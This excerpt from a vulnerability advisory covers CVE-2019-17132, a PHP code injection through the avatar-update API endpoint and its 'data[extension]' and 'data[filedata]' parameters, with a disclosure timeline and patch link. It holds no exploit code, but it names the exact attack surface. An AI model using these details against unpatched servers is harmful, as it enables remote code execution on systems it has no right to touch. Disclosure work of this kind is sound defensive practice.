    [-] Vulnerability Description:
      
    User input passed through the "data[extension]" and "data[filedata]" parameters to
    the "ajax/api/user/updateAvatar" endpoint is not properly validated before being used
    to update users' avatars. This can be exploited to inject and execute arbitrary PHP code.
    Successful exploitation of this vulnerability requires the "Save Avatars as Files" option
    to be enabled (disabled by default).

    [-] Disclosure timeline:
    
    [30/09/2019] - Vendor notified
    [03/10/2019] - Patch released: https://bit.ly/2OptAzI
    [04/10/2019] - CVE number assigned (CVE-2019-17132)
